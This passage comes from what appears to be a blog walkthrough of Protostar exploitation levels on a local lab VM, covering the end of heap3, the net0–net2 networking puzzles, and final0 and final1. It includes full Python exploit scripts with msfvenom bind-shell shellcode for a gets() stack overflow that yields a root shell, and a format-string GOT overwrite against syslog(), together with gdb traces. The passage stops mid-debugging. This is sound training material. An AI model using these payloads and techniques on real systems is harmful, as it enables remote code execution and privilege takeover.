0x804c020: 0x00000000 0x00000000 0x00000000 0x00000029
0x804c030: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c040: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c050: 0x42424242 0x00000055 0x43434343 0x43434343
0x804c060: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c070: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c080: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c090: 0x43434343 0x43434343 0x43434343 0x43434343
0x804c0a0: 0x43434343 0xfffffffc 0xfffffffc 0x0804b11c
0x804c0b0: 0x0804c008 0x00000000 0x00000000 0x00000000
We see that everything is neatly aligned on the heap as we had planned and continue with program execution:
(gdb) c
Continuing.
Breakpoint 2, main (argc=4, argv=0xbffff7b4) at heap3/heap3.c:28
28 in heap3/heap3.c
(gdb) c
Continuing.
that wasn't too bad now, was it? @ 1558219801
Program received signal SIGSEGV, Segmentation fault.
0x0804c01b in ?? ()
Neat! Let's try outside gdb:
user@protostar:/opt/protostar/bin$ ./heap3 $(python /tmp/heap3.py)
that wasn't too bad now, was it? @ 1558219941
Segmentation fault
Finally!! This exercise took quite a bit of time and effort to get through, but it felt very rewarding once the exploit was working.
References
The following resources are very useful for understanding how to exploit the heap in this manner:
- http://phrack.org/issues/57/8.html#article
- http://www.mathyvanhoef.com/2013/02/understanding-heap-exploiting-heap.html?m=1
- https://sploitfun.wordpress.com/2015/02/26/heap-overflow-using-unlink/
Net 0
Now, on to something rather different when compared to previous levels. Here’s the program we are presented with:
net0.c
#include "../common/common.c"
#define NAME "net0"
#define UID 999
#define GID 999
#define PORT 2999
void run()
{
unsigned int i;
unsigned int wanted;
wanted = random();
printf("Please send '%d' as a little endian 32bit int\n", wanted);
if(fread(&i, sizeof(i), 1, stdin) == NULL) {
errx(1, ":(\n");
}
if(i == wanted) {
printf("Thank you sir/madam\n");
} else {
printf("I'm sorry, you sent %d instead\n", i);
}
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
/* Don't do this :> */
srandom(time(NULL));
run();
}
The program is very straightforward:
- A server is created to listen for incoming connections on port 2999
- A seed for
srandomis (poorly) set - The server reads input from the standard input and stores the value in variable
i iis compared against a "random" value
Our objective appears to be constructing input that matches the random number. Let's try experimenting a little bit with the program:
user@protostar:/opt/protostar/bin$ nc 127.0.0.1 2999
Please send '2129360670' as a little endian 32bit int
AAAA
I'm sorry, you sent 1094795585 instead
user@protostar:/opt/protostar/bin$ nc 127.0.0.1 2999
Please send '153789121' as a little endian 32bit int
AAAB
I'm sorry, you sent 1111572801 instead
user@protostar:/opt/protostar/bin$ nc 127.0.0.1 2999
Please send '12191234' as a little endian 32bit int
AABB
I'm sorry, you sent 1111638337 instead
user@protostar:/opt/protostar/bin$ nc 127.0.0.1 2999
Please send '235076650' as a little endian 32bit int
AABC
I'm sorry, you sent 1128415553 instead
Let's start by looking at what these values look like in binary format:
user@protostar:/opt/protostar/bin$ python -c "print format(640034798, '032b')"
01111110111010110111011100011110
user@protostar:/opt/protostar/bin$ python -c "print format(1094795585, '032b')"
01000001010000010100000101000001
user@protostar:/opt/protostar/bin$ python -c "print format(1111572801, '032b')"
01000010010000010100000101000001
user@protostar:/opt/protostar/bin$ python -c "print format(1111638337, '032b')"
01000010010000100100000101000001
user@protostar:/opt/protostar/bin$ python -c "print format(1128415553, '032b')"
01000011010000100100000101000001
Time for a quick comparison:
0111 1110 1110 1011 0111 0111 0001 1110
0100 0001 0100 0001 0100 0001 0100 0001 // AAAA
0100 0010 0100 0001 0100 0001 0100 0001 // AAAB
0100 0010 0100 0010 0100 0001 0100 0001 // AABB
0100 0011 0100 0010 0100 0001 0100 0001 // AABC With each character change, we increment by one on the corresponding byte. This is because of the values the characters have in the ASCII table.
Let's run the program again to generate a new challenge:
user@protostar:~$ nc 127.0.0.1 2999
Please send '1918449268' as a little endian 32bit int In another terminal, we get the binary value of this integer:
user@protostar:~$ python -c "print format(1918449268, '032b')"
01110010010110010011011001110100
It is now easy to slice the integer into four pieces, and build a string backwards using the ASCII table for lookup.
01110010 01011001 00110110 01110100
Starting with 01110010, the chr function in python can be used to determine the character to use:
user@protostar:~$ python -c "print chr(0b01110010)"
r
This means the first character is r. This process can simply be repeated with the other parts:
user@protostar:~$ python -c "print chr(0b01011001)"
Y
user@protostar:~$ python -c "print chr(0b00110110)"
6
user@protostar:~$ python -c "print chr(0b01110100)"
t
That results in the reverse string t6Yr. Let's try this in another terminal:
user@protostar:~$ nc 127.0.0.1 2999
Please send '994470697' as a little endian 32bit int
t6Yr
I'm sorry, you sent 1918449268 instead Looks like we have a match. Back to our original terminal:
>user@protostar:~$ nc 127.0.0.1 2999
Please send '1918449268' as a little endian 32bit int
t6Yr
Thank you sir/madam
And there you have it!
It should be noted that the technique outlined above requires that each of the four bytes correspond to a value between 0 and 127 (ASCII table map). In the next post we will look into a slightly more sophisticated approach which works regardless of the challenge generated.
Net 0 - Part II
In Net0, a very simplistic approach to complete the exercise was described. Here, I will describe how to build a small Python program that can be reliably used to beat the challenge.
Program Structure
The program needs to be able to perform a set of basic operations:
- Connect to
127.0.0.1on port2999 - Extract the integer value requested
- Construct and send a payload
- Read the server response, to determine if the program was successful
Connection
The first part is to establish the connection to the server and read the data. Here's a simple program /tmp/net0.py that accomplishes this:
/tmp/net0.py
#!/usr/bin/python
import socket
HOST = '127.0.0.1'
PORT = 2999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
s.close()
print('Received %r' % data)
user@protostar:/opt/protostar/bin$ python /tmp/net0.py
Received "Please send '1706207991' as a little endian 32bit int\n"
Extract the Value
First, a reliable way of extracting the integer from the string returned is needed. Here is a simple way of doing this, where [:-2] is used to remove the '32' from '32bit':
value = int(filter(str.isdigit, data)[:-2])
Create Payload
A straightforward way to send these values back is to use struct, which allows for packing strings into binary data.
import struct
...
payload = struct.pack("I", value)
Send Payload, Read Response
Next, the payload is sent to the server, and we print out the response:
s.send(payload)
data = s.recv(1024)
print('Received %r' % data)
net0.py
Here is the completed net0.py:
/tmp/net0.py
#!/usr/bin/python
import socket
import struct
HOST = '127.0.0.1'
PORT = 2999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
print('Received %r' % data)
value = int(filter(str.isdigit, data)[:-2])
payload = struct.pack("I", value)
s.send(payload)
data = s.recv(1024)
print('Received %r' % data)
s.close()
... and a test run:
user@protostar:/opt/protostar/bin$ python /tmp/net0.py
Received "Please send '1823899215' as a little endian 32bit int\n"
Received 'Thank you sir/madam'
Net 1
This exercise is essentially a reverse version of Net 0. Instead of supplying a string matching the expected integer, we should provide an integer value matching the string.
It is sufficient to make a few minor updates to the net0.py program to reverse the operation. Here is the updated net1.py with a few comments regarding updates:
net1.py
/tmp/net1.py
#!/usr/bin/python
import socket
import struct
HOST = '127.0.0.1'
PORT = 2998 # Change port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(2048) # up from 1024
print('Received %r' % data)
# unpack returns a tuple, extract first item
value = struct.unpack("I", data)[0]
payload = str(value)
s.send(payload)
data = s.recv(2048)
print('Received %r' % data)
s.close()
Running net1.py:
user@protostar:/tmp$ python net1.py
Received '\x9b"Fv'
Received 'you correctly sent the data'
I noted that sometimes when running this program it hangs, waiting for input. I did not spend more time on that, but it likely a timing issue. Running the program a few times should work.
Net 2
Time for the last network challenge. This is the same as the previous exercises, except 4 integers are now added up. As hinted to in the exercise description, the value can "wrap". What this means is that if 4 integers that together are larger than the maximum value for a 32-bit integer are added together, the value will overflow.
Here are a few updates to the net1.py program used in the previous exercise:
/tmp/net2.py
#!/usr/bin/python
import socket
import struct
HOST = '127.0.0.1'
PORT = 2997 # Change Port
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(4) # Read data 4 times
data += s.recv(4)
data += s.recv(4)
data += s.recv(4)
print('Received %r' % data)
# data now has 4 records
values = struct.unpack("IIII", data)
print(values)
value = sum(values)
# pack the value as "I"nteger
payload = struct.pack("I", value)
s.send(payload)
data = s.recv(1024)
print('Received %r' % data)
s.close()
With these updates, let's run the program:
user@protostar:/tmp$ python net2.py
Received 'J7\xb3+ae\x98+\xc7\x98\x7f6\xc0`\x9d{'
(733165386, 731407713, 914331847, 2073911488)
net2.py:23: DeprecationWarning: struct integer overflow masking is deprecated
payload = struct.pack("I", value)
Received 'you added them correctly'
While we get a message that we completed the exercise, we also see a DeprecationWarning regarding an integer overflow. A straight forward way to ensure the value is limited to 4 bytes is simply to apply a mask with the bitwise AND operator &:
payload = struct.pack("I", value & 0xffffffff) # prevent overflow
With this change, we no longer get the warning:
user@protostar:/tmp$ python net2.py
Received '\x06\xcd\x85<\x1fO\x8bVS\xb4\xfb\x07~\xf4\x9fz'
(1015401734, 1451970335, 133936211, 2057303166)
Received 'you added them correctly'
Final 0
The first of the final series of challenges for Protostar, which combines a stack overflow with a networked program. As many other levels, the process is running as the root user:
user@protostar:~$ ps aux |grep final0 |head -n 1
root 1271 0.0 0.0 1532 272 ? Ss 11:39 0:00 /opt/protostar/bin/final0
user@protostar:~$ ls -l /opt/protostar/bin/final0
-rwsr-xr-x 1 root root 54889 Nov 24 2011 /opt/protostar/bin/final0 The code provided is outlined below.
final0.c
#include "../common/common.c"
#define NAME "final0"
#define UID 0
#define GID 0
#define PORT 2995
/*
* Read the username in from the network
*/
char *get_username()
{
char buffer[512];
char *q;
int i;
memset(buffer, 0, sizeof(buffer));
gets(buffer);
/* Strip off trailing new line characters */
q = strchr(buffer, '\n');
if(q) *q = 0;
q = strchr(buffer, '\r');
if(q) *q = 0;
/* Convert to lower case */
for(i = 0; i < strlen(buffer); i++) {
buffer[i] = toupper(buffer[i]);
}
/* Duplicate the string and return it */
return strdup(buffer);
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
username = get_username();
printf("No such user %s\n", username);
}
This program will listen on port 2995 and accept a username input, which it will convert to uppercase before printing the output: printf("No such user %s\n", username);. The vulnerability lies in the gets() function, where an overflow can be triggered. The plan is to use this to both write shellcode into memory and overwrite the return address to point to the shellcode.
Experimentation
From the size of buffer, we know that more than 512 characters is needed for an overflow. In performing some basic experimentation with the program, we can learn that an input of 532 characters crashes the program:
user@protostar:~$ echo "hello" | nc 127.0.0.1 2995
No such user HELLO
user@protostar:~$ python -c 'print "A" * 532' | nc 127.0.0.1 2995
user@protostar:~$ ls -l /tmp/
total 84
-rw------- 1 root root 294912 Aug 17 11:42 core.4.final0.1389
The Protostar introduction helpfully provides information that the /proc/sys/kernel/core_pattern is set to /tmp/core.%s.%e.%p. From the core man files:
Naming of core dump files
By default, a core dump file is named core, but the /proc/sys/kernel/core_pattern file (since Linux 2.6 and 2.4.21) can be set to define a template that is
used to name core dump files. The template can contain % specifiers which are substituted by the following values when a core file is created:
%% a single % character
%p PID of dumped process
%u (numeric) real UID of dumped process
%g (numeric) real GID of dumped process
%s number of signal causing dump
%t time of dump, expressed as seconds since the Epoch, 1970-01-01 00:00:00 +0000 (UTC)
%h hostname (same as nodename returned by uname(2))
%e executable filename (without path prefix)
%c core file size soft resource limit of crashing process (since Linux 2.6.24)
Based on this information, we can see that the process terminated with signal 4. The man pages for signal(7) (command: man 7 signal) provide details on what the different signal codes mean:
Standard Signals
Linux supports the standard signals listed below. Several signal numbers are architecture-dependent, as indicated in the "Value" column. (Where three
values are given, the first one is usually valid for alpha and sparc, the middle one for ix86, ia64, ppc, s390, arm and sh, and the last one for mips. A -
denotes that a signal is absent on the corresponding architecture.)
First the signals described in the original POSIX.1-1990 standard.
Signal Value Action Comment
──────────────────────────────────────────────────────────────────────
SIGHUP 1 Term Hangup detected on controlling terminal
or death of controlling process
SIGINT 2 Term Interrupt from keyboard
SIGQUIT 3 Core Quit from keyboard
SIGILL 4 Core Illegal Instruction
SIGABRT 6 Core Abort signal from abort(3)
SIGFPE 8 Core Floating point exception
SIGKILL 9 Term Kill signal
SIGSEGV 11 Core Invalid memory reference
...
We want the process to crash with a signal of 11, which indicates a Segmentation fault (SIGSEGV). Adding another single character ("B") to the input appears to achieve this:
user@protostar:~$ python -c 'print "A" * 532 + "B"' | nc 127.0.0.1 2995
user@protostar:~$ ls -l /tmp/
total 168
-rw------- 1 root root 294912 Aug 17 11:43 core.11.final0.1397
-rw------- 1 root root 294912 Aug 17 11:42 core.4.final0.1389 Identifying the Target Address
Since we don't have read permissions to the core dump, we can't determine exactly what is going on without access to the root user. In the Protostar intro, we are provided with the root user password specifically for this debugging. It kind of feels like cheating, but I guess it saves time doing guesswork. Let's look at the core dump in gdb:
user@protostar:~$ su root
Password:
root@protostar:/home/user# gdb -q /opt/protostar/bin/final0 /tmp/core.11.final0.1397
Reading symbols from /opt/protostar/bin/final0...done.
warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `/opt/protostar/bin/final0'.
Program terminated with signal 11, Segmentation fault.
#0 0x08040042 in ?? ()
(gdb) x $eip
0x8040042: Cannot access memory at address 0x8040042 The "B" (0x42) has been neatly written to eip, which means it will be easy to control the target address. Looking at the memory around esp we can find a suitable target for the exploit:
(gdb) x/16x $esp-16
0xbffffc50: 0x41414141 0x41414141 0x41414141 0x08040042
0xbffffc60: 0x00000004 0x00000000 0x00000000 0xbffffc88
0xbffffc70: 0xb7ec6365 0xb7ff1040 0x00000004 0xb7fd7ff4
0xbffffc80: 0x080498b0 0x00000000 0xbffffd08 0xb7eadc76 0xbffffc70 should do just fine and we can add some NOPs (\x90) to be on the safe side. The payload will be created with the following structure, with a newline char added to make gets() stop reading input.
532 bytes junk | 0xbffffc70 | 20 \x90 | shellcode | "\n"
Shellcode
Since this is a networked program and the exploit can be executed remotely, it makes sense to look into creating shellcode that exposes a remote shell over the network. If we had deciced to store the shellcode in char buffer[512];, we would have to use toupper() safe shellcode, but with the approach taken here this is not required.
In order to prepare the shellcode, I decided to try msfvenom, which is part of the metasploit framework. The following command can be used to output shellcode for a remote shell listening on port 12345 and return output suitable for use in a python program:
$ msfvenom -a x86 --platform Linux -p linux/x86/shell_bind_tcp LPORT=12345 -f python
No encoder specified, outputting raw payload
Payload size: 78 bytes
Final size of python file: 389 bytes
buf = b""
buf += b"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66"
buf += b"\xcd\x80\x5b\x5e\x52\x68\x02\x00\x30\x39\x6a\x10\x51"
buf += b"\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04"
buf += b"\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f"
buf += b"\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f"
buf += b"\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
Neat!
Exploit
Time for the exploit. A small python program is created to help create the payload:
final0.py
padding = "A" * 532
target = "\x70\xfc\xff\xbf" # 0xbffffc70
nops = "\x90" * 20
buf = b""
buf += b"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66"
buf += b"\xcd\x80\x5b\x5e\x52\x68\x02\x00\x30\x39\x6a\x10\x51"
buf += b"\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04"
buf += b"\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f"
buf += b"\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f"
buf += b"\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
shellcode = buf
print(padding + target + nops + shellcode)
Time to give it a try:
user@protostar:~$ python final0.py |nc 127.0.0.1 2995 &
[1] 1446
user@protostar:~$ netstat -a | grep 12345
getnameinfo failed
tcp 0 0 *:12345 *:* LISTEN
From another shell:
user@protostar:~$ nc 127.0.0.1 12345
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
After a long break, it is fun to be learning with Protostar again!
Final 1
The second to last challenge: A network/blind format string vulnerability. Once again, the process is running as root:
user@protostar:~$ ps aux |grep final1 |head -n 1
root 1346 0.0 0.0 1532 272 ? Ss 13:56 0:00 /opt/protostar/bin/final1
user@protostar:~$ ls -l /opt/protostar/bin/final1
-rwsr-xr-x 1 root root 56773 Nov 24 2011 /opt/protostar/bin/final1 Below is the code included with the challenge. As with the previous exercise, some parts are imported from a common.c file which is unknown:
final1.c
#include "../common/common.c"
#include <syslog.h>
#define NAME "final1"
#define UID 0
#define GID 0
#define PORT 2994
char username[128];
char hostname[64];
void logit(char *pw)
{
char buf[512];
snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n", hostname, username, pw);
syslog(LOG_USER|LOG_DEBUG, buf);
}
void trim(char *str)
{
char *q;
q = strchr(str, '\r');
if(q) *q = 0;
q = strchr(str, '\n');
if(q) *q = 0;
}
void parser()
{
char line[128];
printf("[final1] $ ");
while(fgets(line, sizeof(line)-1, stdin)) {
trim(line);
if(strncmp(line, "username ", 9) == 0) {
strcpy(username, line+9);
} else if(strncmp(line, "login ", 6) == 0) {
if(username[0] == 0) {
printf("invalid protocol\n");
} else {
logit(line + 6);
printf("login failed\n");
}
}
printf("[final1] $ ");
}
}
void getipport()
{
int l;
struct sockaddr_in sin;
l = sizeof(struct sockaddr_in);
if(getpeername(0, &sin, &l) == -1) {
err(1, "you don't exist");
}
sprintf(hostname, "%s:%d", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port));
}
int main(int argc, char **argv, char **envp)
{
int fd;
char *username;
/* Run the process as a daemon */
background_process(NAME, UID, GID);
/* Wait for socket activity and return */
fd = serve_forever(PORT);
/* Set the client socket to STDIN, STDOUT, and STDERR */
set_io(fd);
getipport();
parser();
}
It may not be obvious at first, but the vulnerability here is in the syslog() function on line 19. The signature of the syslog() function includes a string format argument, which can be used to control the output: void syslog(int priority, const char *format, ...);. Since the contents of buf can be controlled by modifying the username and pw input, a string format attack is made possible. It should be possible to use this to write arbitrary data to an arbitrary address.
Experimentation
In trying out a few things and using the root user to review the log file, one can determine that the offset is 20, provided the username is 4 bytes. If the username is 8 bytes, the offset 21 must be used etc.
user@protostar:~$ nc 127.0.0.1 2994
[final1] $ username AAAA
[final1] $ login BBBB
login failed
[final1] $ username AAAA
[final1] $ login BBBB %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
login failed
[final1] $ username AAAA
[final1] $ login BBBB%20$p
[final1] $ username AAAAAAAA
[final1] $ login BBBB%21$p
login failed
Aug 22 17:28:29 (none) final1: Login from 127.0.0.1:50443 as [AAAA] with password [BBBB]
Aug 22 17:28:44 (none) final1: Login from 127.0.0.1:50443 as [AAAA] with password [BBBB 0x8049ee4 0x804a2a0 0x804a220 0xbffffbd6 0xb7fd7ff4 0xbffffa28 0x69676f4c 0x7266206e 0x31206d6f 0x302e3732 0x312e302e 0x3430353a 0x61203334 0x415b2073 0x5d414141 0x74697720 0x61702068 0x6f777373 0x5b206472 0x42424242]
Aug 22 17:28:55 (none) final1: Login from 127.0.0.1:50443 as [AAAA] with password [BBBB0x42424242]
Aug 22 17:29:04 (none) final1: Login from 127.0.0.1:50443 as [AAAAAAAA] with password [BBBB0x42424242]
This means that we should ensure our username is divisible by 4, and that we add the resulting value to 20 when calculating the offset. I ended up spending a lot of time trying to get this exercise to work with an offset of 20, but without success. More on this later.
Identifying a Target Address
This time around, I thought it would be good to re-use the Global Offset Table approach used for a few of the Heap exercises. Directly after the logit() function is called, the program continues with printf("login failed\n");. Using gdb, we can identify the target address.
Right after logit(), one can see that puts() is called (an optimization of printf()):
user@protostar:~$ gdb -q /opt/protostar/bin/final1
Reading symbols from /opt/protostar/bin/final1...done.
(gdb) disass parser
Dump of assembler code for function parser:
...
0x080499ea <parser+173>: call 0x804989a <logit>
0x080499ef <parser+178>: movl $0x8049f3c,(%esp)
0x080499f6 <parser+185>: call 0x8048d4c <puts@plt> And using objdump, the address of puts() is identified:
user@protostar:~$ objdump -R /opt/protostar/bin/final1 |grep puts
0804a194 R_386_JUMP_SLOT puts The idea is to overwrite this address with the location of shellcode, such that when the program calls printf() after logit, it instead calls the code we've injected. However, a location is needed to store that shellcode. Fortunately, username is declared as a global variable and we can control this input. If we store our shellcode in username, we can simply direct the code execution to that location. Again, objdump can be used to identify the address:
user@protostar:~$ objdump -t /opt/protostar/bin/final1 |grep username
0804a220 g O .bss 00000080 username The target addresses are now known:
puts:0x0804a194username:0x0804a220
Using gdb, we can also determine that the value stored at address 0x0804a194 is 0x08048d52. This means we only have to overwrite half the bytes, since 0x0804 is already correct:
user@protostar:~$ gdb -q /opt/protostar/bin/final1
Reading symbols from /opt/protostar/bin/final1...done.
(gdb) x/x 0x0804a194
0x804a194 <_GLOBAL_OFFSET_TABLE_+168>: 0x08048d52
Exploit
The high level plan for the exploit is as follows:
- Write shellcode to the
usernamevariable - Use a format string vulnerability to write the value
0x0804a220to location0x0804a194
We'll be using the same approach as we did in Format 3, but this time around we only need to write a220 to half of the address. gdb can be used to determine how many bytes to write:
(gdb) p 0x0000a220
$1 = 41504
This value alone is not sufficient however, since the number of bytes already written must be subtracted from this value. We'll handle this in our program when attempting the exploit. The final format string payload will look something like this:
"\x94\xa1\x04\x08" + "%(41504-bytes_written)x%(offset+20)$hn"
A small program can be created to test sending input and (hopefully) crash the program:
final1a.py
#!/usr/bin/python
import socket
HOST = '127.0.0.1'
PORT = 2994
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
username = "username AAAA"
target = "\x94\xa1\x04\x08" # 0804a194
offset = 20
format = "%nnnnnx%" + str(offset) + "$hn"
bytes_to_write = 41504 # 0x0000a220
bytes_written = len(target)
bytes_written += len(format)
bytes_to_write = bytes_to_write - bytes_written
format = format.replace("nnnnn", str(bytes_to_write))
s.send(username + "\n")
s.send("login " + target + format + "\n")
s.close()
Running the program and a quick check in the syslog confirms the program works as expected:
user@protostar:~$ python final1a.py
user@protostar:~$ python -c 'print(0xa247-0xa220)'
39
root@protostar:/home/user# tail /var/log/syslog
...
Aug 23 11:42:03 (none) kernel: [ 7454.584371] final1[2042]: segfault at 1e808 ip 0804a247 sp bffffbbc error 6 in final1[804a000+1000]
It looks like we're off by 39. After making a small modification to the program (bytes_to_write = bytes_to_write - bytes_written - 39) we give it another go. At first, this did not seem to do the trick - the log file indicated an address of 0x0804a224 which is 4 off target. However, with gdb we can confirm we have the right address:
root@protostar:/home/user# tail /var/log/syslog
...
Aug 23 11:43:52 (none) kernel: [ 7563.801510] final1[2048]: segfault at 1e808 ip 0804a224 sp bffffbbc error 6 in final1[804a000+1000]
root@protostar:/# gdb -q -c /tmp/core.11.final1.2048
Core was generated by `/opt/protostar/bin/final1'.
Program terminated with signal 11, Segmentation fault.
#0 0x0804a224 in ?? ()
(gdb) x/x 0x0804a194
0x804a194: 0x0804a220 The program can now be updated to send the correct payloads, re-using the shellcode we used in Final0:
final1b.py
#!/usr/bin/python
import socket
HOST = '127.0.0.1'
PORT = 2994
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
buf = b"\x90\x90" # ensure divisible by 4
buf += b"\x31\xdb\xf7\xe3\x53\x43\x53\x6a"
buf += b"\x02\x89\xe1\xb0\x66\xcd\x80\x5b"
buf += b"\x5e\x52\x68\x02\x00\x30\x39\x6a"
buf += b"\x10\x51\x50\x89\xe1\x6a\x66\x58"
buf += b"\xcd\x80\x89\x41\x04\xb3\x04\xb0"
buf += b"\x66\xcd\x80\x43\xb0\x66\xcd\x80"
buf += b"\x93\x59\x6a\x3f\x58\xcd\x80\x49"
buf += b"\x79\xf8\x68\x2f\x2f\x73\x68\x68"
buf += b"\x2f\x62\x69\x6e\x89\xe3\x50\x53"
buf += b"\x89\xe1\xb0\x0b\xcd\x80"
shellcode = buf
target = "\x94\xa1\x04\x08" # 0804a194
offset = 20 + len(shellcode)//4
format = "%nnnnnx%" + str(offset) + "$hn"
bytes_to_write = 41504 # 0x0000a220
bytes_written = len(target)
bytes_written += len(format)
bytes_to_write = bytes_to_write - bytes_written - 39
format = format.replace("nnnnn", str(bytes_to_write))
s.send("username " + shellcode + "\n")
s.send("login " + target + format + "\n")
s.close()
When executed, the program crashes. We can inspect with gdb to determine what is going on:
user@protostar:~$ python final1b.py &
[1] 2264
root@protostar:/home/user# tail -n1 /var/log/syslog
Aug 23 12:13:49 (none) kernel: [ 9360.164891] final1[2265]: segfault at ce85a4 ip b7febbb0 sp bffff704 error 4 in ld-2.11.2.so[b7fe3000+1b000]
root@protostar:/# gdb -q /opt/protostar/bin/final1 /tmp/core.11.final1.2265
Reading symbols from /opt/protostar/bin/final1...done.
...
Core was generated by `/opt/protostar/bin/final1'.
Program terminated with signal 11, Segmentation fault.
#0 do_lookup_x (new_hash=<value optimized out>, old_hash=0xbffff830, ref=0xb7e9cdb4,
result=0xbffff824, scope=0xb7fffa54, i=1, flags=1, skip=0x0, undef_map=0xb7fe1848)
at dl-lookup.c:109
109 dl-lookup.c: No such file or directory.
in dl-lookup.c
(gdb) x/8x username
0x804a220 <username>: 0xdb319090 0x4353e3f7 0x89026a53 0xcd66b0e1
0x804a230 <username+16>: 0x525e5b80 0x00000268 0x00000000 0x00000000
It looks like our shellcode was not loaded correctly. This is because the shellcode contains an \x00 instruction which is interpreted as the end of the string, and strcpy stops reading further. We'll need to find some alternative shellcode, without \x00 (\0), \x0a (\n) or \x0d (\r). msfvenom can be used to create some updated shellcode, avoiding use of these characters:
$ msfvenom -a x86 --platform Linux -p linux/x86/shell_bind_tcp LPORT=12345 -f python -b '\x00\x0a\x0d'
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 105 (iteration=0)
x86/shikata_ga_nai chosen with final size 105
Payload size: 105 bytes
Final size of python file: 530 bytes
buf = b""
buf += b"\xbf\x20\xf4\xf9\xb9\xda\xc9\xd9\x74\x24\xf4\x5a\x31"
buf += b"\xc9\xb1\x14\x83\xc2\x04\x31\x7a\x10\x03\x7a\x10\xc2"
buf += b"\x01\xc8\x62\xf5\x09\x78\xd6\xaa\xa7\x7d\x51\xad\x88"
buf += b"\xe4\xac\xad\xb2\xb6\x7c\xc5\x46\x47\xb1\x2c\x2d\x57"
buf += b"\xe0\x1e\x38\xb6\x68\xf8\x62\xf4\xed\x8d\xd2\x02\x5d"
buf += b"\x89\x64\x6c\x6c\x11\xc7\xc1\x08\xdc\x48\xb2\x8c\xb4"
buf += b"\x77\xed\xe3\xc8\xc1\x74\x04\xa0\xfe\xa9\x87\x58\x69"
buf += b"\x99\x05\xf1\x07\x6c\x2a\x51\x8b\xe7\x4c\xe1\x20\x35"
buf += b"\x0e"
The program is updated to reference the new shellcode and the padding is adjusted:
final1c.py
#!/usr/bin/python
import socket
HOST = '127.0.0.1'
PORT = 2994
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
buf = b"\x90\x90\x90" # ensure divisible by 4
buf += b"\xbf\x20\xf4\xf9\xb9\xda\xc9\xd9"
buf += b"\x74\x24\xf4\x5a\x31\xc9\xb1\x14"
buf += b"\x83\xc2\x04\x31\x7a\x10\x03\x7a"
buf += b"\x10\xc2\x01\xc8\x62\xf5\x09\x78"
buf += b"\xd6\xaa\xa7\x7d\x51\xad\x88\xe4"
buf += b"\xac\xad\xb2\xb6\x7c\xc5\x46\x47"
buf += b"\xb1\x2c\x2d\x57\xe0\x1e\x38\xb6"
buf += b"\x68\xf8\x62\xf4\xed\x8d\xd2\x02"
buf += b"\x5d\x89\x64\x6c\x6c\x11\xc7\xc1"
buf += b"\x08\xdc\x48\xb2\x8c\xb4\x77\xed"
buf += b"\xe3\xc8\xc1\x74\x04\xa0\xfe\xa9"
buf += b"\x87\x58\x69\x99\x05\xf1\x07\x6c"
buf += b"\x2a\x51\x8b\xe7\x4c\xe1\x20\x35"
buf += b"\x0e"
shellcode = buf
target = "\x94\xa1\x04\x08" # 0804a194
offset = 20 + len(shellcode)//4
format = "%nnnnnx%" + str(offset) + "$hn"
bytes_to_write = 41504 # 0x0000a220
bytes_written = len(target)
bytes_written += len(format)
bytes_to_write = bytes_to_write - bytes_written - 39
format = format.replace("nnnnn", str(bytes_to_write))
s.send("username " + shellcode + "\n")
s.send("login " + target + format + "\n")
s.close()
Retry! ... without much luck:
user@protostar:~$ python final1.py &
[1] 2318
root@protostar:/# tail -n1 /var/log/syslog
Aug 23 12:18:00 (none) kernel: [ 9611.013343] final1[2319]: segfault at 34313425 ip b7ed80ae sp bfff46e0 error 6 in libc-2.11.2.so[b7e97000+13e000]
In doing more testing, it turns out the 20 base offset + 1 for every 4 bytes written failed when the offset became larger than 28 (due to larger username input). Running manual tests, I was able to determine that a username of length 112 resulted in a clean offset at 47. Additionally, in using gdb to review a crash after this update, the number of bytes to write had to be modified:
